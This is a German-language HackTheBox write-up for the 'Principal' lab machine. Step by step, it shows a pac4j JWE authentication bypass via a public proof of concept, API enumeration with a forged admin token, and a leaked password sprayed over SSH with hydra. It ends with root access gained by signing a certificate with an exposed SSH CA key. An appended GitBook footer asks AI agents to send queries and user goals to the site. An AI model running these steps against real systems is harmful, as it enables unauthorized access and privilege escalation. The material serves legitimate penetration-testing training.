> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/principal-hackthebox-writeup.md).

# Principal HackTheBox Writeup

Principal HackTheBox Medium Linux machine writeup mit Umgehung der pac4j-JWE-Authentifizierung, API-Aufzählung, Wiederverwendung von SSH-Anmeldedaten und SSH-CA-Privilege-Eskalation.

{% embed url="<https://app.hackthebox.com/machines/principal>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* Port-Scanning und Aufzählung von Webanwendungen
* pac4j-JWE-Authentifizierungsumgehung (CVE-2026-29000)
* Authentifizierte API-Aufzählung und Wiederverwendung von Anmeldedaten
* Privilegieneskalation über die SSH-Zertifizierungsstelle
  {% endhint %}

## Aufklärung

### Arbeitsumgebung einrichten

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FEuUCO5FKItxrS5daTEHQ%2Fimage.png?alt=media&amp;token=2bb06d61-fabb-4277-868d-dca1cfa07d26" alt=""><figcaption></figcaption></figure>

### Port-Scanning

Beginnen Sie mit einem vollständigen TCP-Scan, um freigelegte Dienste zu identifizieren:

{% code overflow="wrap" %}

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.129.244.220 -oG allPorts
```

{% endcode %}

Der Scan identifiziert SSH auf Port `22` und HTTP auf Port `8080`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FGu3fGtqfKpuRWl6cEnI5%2Fimage.png?alt=media&amp;token=a722988c-81f3-483d-b376-1d8610d9a52a" alt=""><figcaption></figcaption></figure>

Führen Sie einen gezielten Dienst- und Versionsscan durch:

{% code overflow="wrap" %}

```bash
nmap -sCV -p22,8080 10.129.244.220 -oN targeted
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FfTqm5X7kJd2aERGsviA2%2Fimage.png?alt=media&amp;token=f8cf8256-10bf-4065-a14c-6c7edf7a540e" alt=""><figcaption></figcaption></figure>

### Analyse der Webanwendung

Die Webanwendung lauscht auf Port `8080`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FGOHPYslr0lBgMTBfdzVF%2Fimage.png?alt=media&amp;token=b4bcc361-482f-429b-a959-384b180c6a90" alt=""><figcaption></figcaption></figure>

Die Anwendung verwendet pac4j `1.2.0`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FdHYITZOd8xDlGxagDKlC%2Fimage.png?alt=media&amp;token=f0f6121a-0ae9-4f03-9a66-226604297e0c" alt=""><figcaption></figcaption></figure>

### Authentifizierungsumgehung

Diese pac4j-Version ist anfällig für eine Authentifizierungsumgehung mithilfe eines mit JWE umhüllten PlainJWT. Das Problem wird verfolgt als `CVE-2026-29000`.

{% embed url="<https://github.com/advisories/GHSA-pm7g-w2cf-q238>" %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FglkjFkwehLAfFyGveLO1%2Fimage.png?alt=media&amp;token=89b43288-812e-4abf-8f27-b23c75698ff7" alt=""><figcaption></figcaption></figure>

Ermitteln Sie Anwendungspfade mit Gobuster:

{% code overflow="wrap" %}

```bash
gobuster dir -w `fzf-wordlists` -u http://10.129.244.220:8080/ -t 100
```

{% endcode %}

Das Dashboard leitet nicht authentifizierte Benutzer zur Anmeldeseite weiter.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FxVrDRdf27GxuT33N1y4K%2Fimage.png?alt=media&amp;token=0e863fa8-236b-4053-b5dc-e185612e22c8" alt=""><figcaption></figcaption></figure>

Das Laden des Dashboards löst eine Anfrage an `/api/auth/jwks`, das den öffentlichen JSON Web Key Set offenlegt:

{% code overflow="wrap" %}

```json
{
  "keys": [
    {
      "kty": "RSA",
      "e": "AQAB",
      "kid": "enc-key-1",
      "n": "lTh54vtBS1NAWrxAFU1NEZdrVxPeSMhHZ5NpZX-WtBsdWtJRaeeG61iNgYsFUXE9j2MAqmekpnyapD6A9dfSANhSgCF60uAZhnpIkFQVKEZday6ZIxoHpuP9zh2c3a7JrknrTbCPKzX39T6IK8pydccUvRl9zT4E_i6gtoVCUKixFVHnCvBpWJtmn4h3PCPCIOXtbZHAP3Nw7ncbXXNsrO3zmWXl-GQPuXu5-Uoi6mBQbmm0Z0SC07MCEZdFwoqQFC1E6OMN2G-KRwmuf661-uP9kPSXW8l4FutRpk6-LZW5C7gwihAiWyhZLQpjReRuhnUvLbG7I_m2PV0bWWy-Fw"
    }
  ]
}
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fa44fqpILZQxFx9DPtApc%2Fimage.png?alt=media&amp;token=41deccaa-4e01-4ea5-b192-f0516d8b32cd" alt=""><figcaption></figcaption></figure>

Verwenden Sie den freigelegten öffentlichen Schlüssel, um ein gültiges Administrator-Token zu generieren.

{% embed url="<https://codeant.ai/security-research/pac4j-jwt-authentication-bypass-public-key>" %}

Verwenden Sie den folgenden Proof of Concept:

{% embed url="<https://github.com/alihussainzada/CVE-2026-29000-Python-PoC-pac4j-JWT-AuthenticationBypass-Poc>" %}

Führen Sie den Proof of Concept mit dem `admin` Benutzernamen und `ROLE_ADMIN` Rolle:

{% code overflow="wrap" %}

```bash
python3 poc.py \
--jwks http://10.129.244.220:8080/api/auth/jwks \
--user admin \
--role ROLE_ADMIN
```

{% endcode %}

Der Proof of Concept liefert ein Administrator-Bearer-Token zurück. Speichern Sie es vor authentifizierten Anfragen in einer Variablen:

{% code overflow="wrap" %}

```bash
Authorization: Bearer eyJhbGciOiAiUlNBLU9BRVAtMjU2IiwgImVuYyI6ICJBMTI4R0NNIiwgImN0eSI6ICJKV1QiLCAia2lkIjogImVuYy1rZXktMSJ9.lJCT27onAw65CfXLmP267X9J_qfpRo2UIvYuncCTHtr-8AWtU8-o9sWrnKastoEdX_8Bo9st4hyu7X5QmsMVHWNm0OAfY1pSZHVBaHKz-QaO5BVLS9jqtVhj-1ijwJMK-XzHhgob4VBt7vdx-Cb2yX3oSlowXBXlYKC7TtjrRe51kLbDPh-O8e-aGVzRImyYjwuVL_Vl7-8B8JxllT-WpFeeggqDJF5e-PcCwdOpEuT5j145mmk0CApINBizadrNdH8RHWcDWXBIZDIU6kgW_jkbl0Bv1LfyhUhH-fCINu3HSz6rXl4dvvJyBsR0fpome4ohwBKU4maAiHv7cKTQMw.MHmcP7rXK251tLqi.Ps5Mgwb01hZw9xloF6RDD4ZQ_pm1LzJzdu7IHaQRpOzmcv5Ft2cQ6o7x1P_Y8bkln1SW7uFIZx-XdLOfrV8kt7YGtIQfYBdqZUKrNvrUSxpJU35Yhthpje2WDA5n5sNIi2rPhVvjA0yrT__8kM2mpG2r-5NiTZuGjzft0c57s26F8NAkZBaTUZhe9zj6_X4yKexHd4KpGsOHLWEaB4Ble-w2Vh8Jnma7hQ6wmcxEtp4s0Mr5qA.80TebO2ixei-OFdj7zV7ww
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F5FPHofyBiiuHJqXcfOqn%2Fimage.png?alt=media&amp;token=15fa3379-74d1-4e56-8fbb-ad3f89aa93be" alt=""><figcaption></figcaption></figure>

### Authentifizierte API-Aufzählung

Überprüfen `static/js/app.js` um die freigelegten API-Routen zu identifizieren:

{% code overflow="wrap" %}

```bash
const API_BASE = '';
const JWKS_ENDPOINT = '/api/auth/jwks';
const AUTH_ENDPOINT = '/api/auth/login';
const DASHBOARD_ENDPOINT = '/api/dashboard';
const USERS_ENDPOINT = '/api/users';
const SETTINGS_ENDPOINT = '/api/settings';
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FesLYfS6Saxt1wRxVSw9u%2Fimage.png?alt=media&amp;token=b415653b-8f39-4600-8f2b-241da9487697" alt=""><figcaption></figcaption></figure>

Verwenden Sie das Administrator-Token, um Benutzer aufzulisten. Die unten erfasste Anfrage ruft `/api/users`.

{% code overflow="wrap" %}

```http
curl --path-as-is -i -s -k -X $'GET' \
    -H $'Host: 10.129.244.220:8080' -H $'Authorization: Bearer eyJhbGciOiAiUlNBLU9BRVAtMjU2IiwgImVuYyI6ICJBMTI4R0NNIiwgImN0eSI6ICJKV1QiLCAia2lkIjogImVuYy1rZXktMSJ9.lJCT27onAw65CfXLmP267X9J_qfpRo2UIvYuncCTHtr-8AWtU8-o9sWrnKastoEdX_8Bo9st4hyu7X5QmsMVHWNm0OAfY1pSZHVBaHKz-QaO5BVLS9jqtVhj-1ijwJMK-XzHhgob4VBt7vdx-Cb2yX3oSlowXBXlYKC7TtjrRe51kLbDPh-O8e-aGVzRImyYjwuVL_Vl7-8B8JxllT-WpFeeggqDJF5e-PcCwdOpEuT5j145mmk0CApINBizadrNdH8RHWcDWXBIZDIU6kgW_jkbl0Bv1LfyhUhH-fCINu3HSz6rXl4dvvJyBsR0fpome4ohwBKU4maAiHv7cKTQMw.MHmcP7rXK251tLqi.Ps5Mgwb01hZw9xloF6RDD4ZQ_pm1LzJzdu7IHaQRpOzmcv5Ft2cQ6o7x1P_Y8bkln1SW7uFIZx-XdLOfrV8kt7YGtIQfYBdqZUKrNvrUSxpJU35Yhthpje2WDA5n5sNIi2rPhVvjA0yrT__8kM2mpG2r-5NiTZuGjzft0c57s26F8NAkZBaTUZhe9zj6_X4yKexHd4KpGsOHLWEaB4Ble-w2Vh8Jnma7hQ6wmcxEtp4s0Mr5qA.80TebO2ixei-OFdj7zV7ww' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:157.0) Gecko/20100101 Firefox/157.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.9' -H $'Accept-Encoding: gzip, deflate, br' -H $'Sec-GPC: 1' -H $'Connection: keep-alive' -H $'Upgrade-Insecure-Requests: 1' -H $'Priority: u=0, i' \
    $'http://10.129.244.220:8080/api/users'
```

{% endcode %}

Die Antwort listet acht Benutzer auf. Das `svc-deploy` Konto ist besonders relevant, da es automatisierte SSH-Zertifikatsbereitstellungen verarbeitet.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F9Rpk9a489Yj5GYcBQNZg%2Fimage.png?alt=media&amp;token=fb759905-15f1-40d5-b943-e583c441f8dc" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```json
echo '{"users":[{"email":"s.chen@principal-corp.local","username":"admin","note":"","role":"ROLE_ADMIN","active":true,"lastLogin":"2025-12-28T09:15:00Z","id":1,"department":"IT Security","displayName":"Sarah Chen"},{"email":"svc-deploy@principal-corp.local","username":"svc-deploy","note":"Service account for automated deployments via SSH certificate auth.","role":"deployer","active":true,"lastLogin":"2025-12-28T14:32:00Z","id":2,"department":"DevOps","displayName":"Deploy Service"},{"email":"j.thompson@principal-corp.local","username":"jthompson","note":"Team lead - backend services","role":"ROLE_USER","active":true,"lastLogin":"2025-12-27T16:45:00Z","id":3,"department":"Engineering","displayName":"James Thompson"},{"email":"a.morales@principal-corp.local","username":"amorales","note":"Frontend developer","role":"ROLE_USER","active":true,"lastLogin":"2025-12-28T08:20:00Z","id":4,"department":"Engineering","displayName":"Ana Morales"},{"email":"b.wright@principal-corp.local","username":"bwright","note":"Operations manager","role":"ROLE_MANAGER","active":true,"lastLogin":"2025-12-26T11:30:00Z","id":5,"department":"Operations","displayName":"Benjamin Wright"},{"email":"k.kumar@principal-corp.local","username":"kkumar","note":"Security analyst - on leave until Jan 6","role":"ROLE_ADMIN","active":false,"lastLogin":"2025-12-20T10:00:00Z","id":6,"department":"IT Security","displayName":"Kavitha Kumar"},{"email":"m.wilson@principal-corp.local","username":"mwilson","note":"QA engineer","role":"ROLE_USER","active":true,"lastLogin":"2025-12-28T13:10:00Z","id":7,"department":"QA","displayName":"Marcus Wilson"},{"email":"l.zhang@principal-corp.local","username":"lzhang","note":"Engineering director","role":"ROLE_MANAGER","active":true,"lastLogin":"2025-12-28T07:55:00Z","id":8,"department":"Engineering","displayName":"Lisa Zhang"}],"total":8}' | jq | grep username
```

{% endcode %}

> admin\
> svc-deploy\
> jthompson\
> amorales\
> bwright\
> kkumar\
> mwilson\
> lzhang

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fc3kaoLe0GSeldjFTKTPx%2Fimage.png?alt=media&amp;token=73020884-2aac-4fb3-b43d-8280e5cba38d" alt=""><figcaption></figcaption></figure>

Fordern Sie als Nächstes die Anwendungseinstellungen über `/api/settings`.

{% code overflow="wrap" %}

```bash
curl --path-as-is -i -s -k -X $'GET' \
    -H $'Host: 10.129.244.220:8080' -H $'Authorization: Bearer eyJhbGciOiAiUlNBLU9BRVAtMjU2IiwgImVuYyI6ICJBMTI4R0NNIiwgImN0eSI6ICJKV1QiLCAia2lkIjogImVuYy1rZXktMSJ9.lJCT27onAw65CfXLmP267X9J_qfpRo2UIvYuncCTHtr-8AWtU8-o9sWrnKastoEdX_8Bo9st4hyu7X5QmsMVHWNm0OAfY1pSZHVBaHKz-QaO5BVLS9jqtVhj-1ijwJMK-XzHhgob4VBt7vdx-Cb2yX3oSlowXBXlYKC7TtjrRe51kLbDPh-O8e-aGVzRImyYjwuVL_Vl7-8B8JxllT-WpFeeggqDJF5e-PcCwdOpEuT5j145mmk0CApINBizadrNdH8RHWcDWXBIZDIU6kgW_jkbl0Bv1LfyhUhH-fCINu3HSz6rXl4dvvJyBsR0fpome4ohwBKU4maAiHv7cKTQMw.MHmcP7rXK251tLqi.Ps5Mgwb01hZw9xloF6RDD4ZQ_pm1LzJzdu7IHaQRpOzmcv5Ft2cQ6o7x1P_Y8bkln1SW7uFIZx-XdLOfrV8kt7YGtIQfYBdqZUKrNvrUSxpJU35Yhthpje2WDA5n5sNIi2rPhVvjA0yrT__8kM2mpG2r-5NiTZuGjzft0c57s26F8NAkZBaTUZhe9zj6_X4yKexHd4KpGsOHLWEaB4Ble-w2Vh8Jnma7hQ6wmcxEtp4s0Mr5qA.80TebO2ixei-OFdj7zV7ww' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:157.0) Gecko/20100101 Firefox/157.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.9' -H $'Accept-Encoding: gzip, deflate, br' -H $'Sec-GPC: 1' -H $'Connection: keep-alive' -H $'Upgrade-Insecure-Requests: 1' -H $'Priority: u=0, i' \
    $'http://10.129.244.220:8080/api/settings'
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F6laI1zNBfwdRSq6CabHB%2Fimage.png?alt=media&amp;token=98c1406b-058b-47f3-83ed-d151d6e2df78" alt=""><figcaption></figcaption></figure>

Formatieren Sie die JSON-Antwort mit `jq` um die Konfiguration zu überprüfen:

{% code overflow="wrap" %}

```bash
echo '{"system":{"applicationName":"Principal Internal Platform","javaVersion":"21.0.10","serverType":"Jetty 12.x (Embedded)","environment":"production","version":"1.2.0"},"security":{"authFramework":"pac4j-jwt","authFrameworkVersion":"6.0.3","jwtAlgorithm":"RS256","jweAlgorithm":"RSA-OAEP-256","jweEncryption":"A128GCM","encryptionKey":"D3pl0y_$$H_Now42!","tokenExpiry":"3600s","sessionManagement":"stateless"},"integrations":[{"status":"connected","lastSync":"2025-12-28T12:00:00Z","name":"GitLab CI/CD"},{"status":"connected","lastSync":"2025-12-28T14:00:00Z","name":"Vault"},{"status":"connected","lastSync":"2025-12-28T14:30:00Z","name":"Prometheus"}],"infrastructure":{"sshCaPath":"/opt/principal/ssh/","notes":"SSH certificate auth configured for automation - see /opt/principal/ssh/ for CA config.","database":"H2 (embedded)","sshCertAuth":"enabled"}}' | jq
```

{% endcode %}

Der `encryptionKey` Wert legt ein wiederverwendbares Passwort offen:

* D3pl0y\_$$H\_Now42!

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fs7YmXyWJiNusPheIGfmZ%2Fimage.png?alt=media&amp;token=a903b910-2159-4740-8c19-64eb49079764" alt=""><figcaption></figcaption></figure>

### SSH-Zugriff

Testen Sie das geleakte Passwort gegen die aus der API gesammelten Benutzernamen:

{% code overflow="wrap" %}

```bash
hydra -L users.txt -p 'D3pl0y_$$H_Now42!' ssh://10.129.244.220
```

{% endcode %}

Das Passwort ist gültig für das `svc-deploy` Konto.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FcxZNsUez6YDRSvVw7zoA%2Fimage.png?alt=media&amp;token=9d43e8de-b1a7-4e1a-bc3e-7406210982e6" alt=""><figcaption></figcaption></figure>

Verbinden Sie sich als `svc-deploy` und holen Sie sich die User-Flag:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FuqCiWg2u3kvSJZlwkG1y%2Fimage.png?alt=media&amp;token=24bcdd24-7a05-4dc7-8c3c-15403b1d77c3" alt=""><figcaption></figcaption></figure>

### Privilegieneskalation

Der `svc-deploy` Konto gehört zur `deployers` Gruppe.

{% code overflow="wrap" %}

```bash
id
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FlMvPolPhjpPdTHGmCg0d%2Fimage.png?alt=media&amp;token=7dd1bfc3-ef5b-4de5-9d91-0e2976cae939" alt=""><figcaption></figcaption></figure>

Listen Sie die für diese Gruppe zugänglichen Dateien auf:

{% code overflow="wrap" %}

```bash
find / -group deployers 2>/dev/null
```

{% endcode %}

Die Gruppe kann auf das Material der SSH-Zertifizierungsstelle zugreifen:

> /etc/ssh/sshd\_config.d/60-principal.conf\
> /opt/principal/ssh\
> /opt/principal/ssh/README.txt\
> /opt/principal/ssh/ca

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FFJUKbXIx3SBC02L5vq2B%2Fimage.png?alt=media&amp;token=e8f75d22-867b-48c8-a098-207eb83e8ffc" alt=""><figcaption></figcaption></figure>

Untersuchen Sie `/etc/ssh/sshd_config.d/60-principal.conf`:

{% code overflow="wrap" %}

```bash
# SSH-Konfiguration der Principal-Maschine
PubkeyAuthentication yes
PasswordAuthentication yes
PermitRootLogin prohibit-password
TrustedUserCAKeys /opt/principal/ssh/ca.pub
```

{% endcode %}

`PermitRootLogin prohibit-password` erlaubt die Authentifizierung von root mit einem Schlüssel. Der zugängliche private CA-Schlüssel kann ein Zertifikat für den `root` principal.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FEZSvZxZdUyyRR73JqztO%2Fimage.png?alt=media&amp;token=8c7ab33a-1af5-4076-af95-d89d73d1ebf4" alt=""><figcaption></figcaption></figure>

### Missbrauchen Sie die SSH-Zertifizierungsstelle

Erzeugen Sie ein temporäres Schlüsselpaar:

{% code overflow="wrap" %}

```bash
ssh-keygen -t rsa -b 4096 -f /tmp/id_rsa -N ""
```

{% endcode %}

Signieren Sie den öffentlichen Schlüssel für den `root` principal mit dem freigelegten privaten CA-Schlüssel:

`-I` setzt die Zertifikatsidentität. `-n` setzt den gültigen Principal.

{% code overflow="wrap" %}

```bash
ssh-keygen -s /opt/principal/ssh/ca -I "Exploit" -n root /tmp/id_rsa.pub
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fe07nPGDWc0bpgnbNkysP%2Fimage.png?alt=media&amp;token=340936c9-c85f-442a-a79a-3e1e700ae78b" alt=""><figcaption></figcaption></figure>

Verbinden Sie sich lokal als `root` mit dem signierten Zertifikat:

{% code overflow="wrap" %}

```bash
ssh -i /tmp/id_rsa -i /tmp/id_rsa-cert.pub root@localhost

whoami
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FwfIFCrES7lE0w61ZGcyT%2Fimage.png?alt=media&amp;token=538c6a7a-cacb-4cf6-b2c3-fb0f6b7843ae" alt=""><figcaption></figcaption></figure>

Holen Sie sich die Root-Flag:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fr6NrdbdExN0XLH0I21sW%2Fimage.png?alt=media&amp;token=8955648b-d079-4b3f-9176-746b3f06c141" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/principal-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.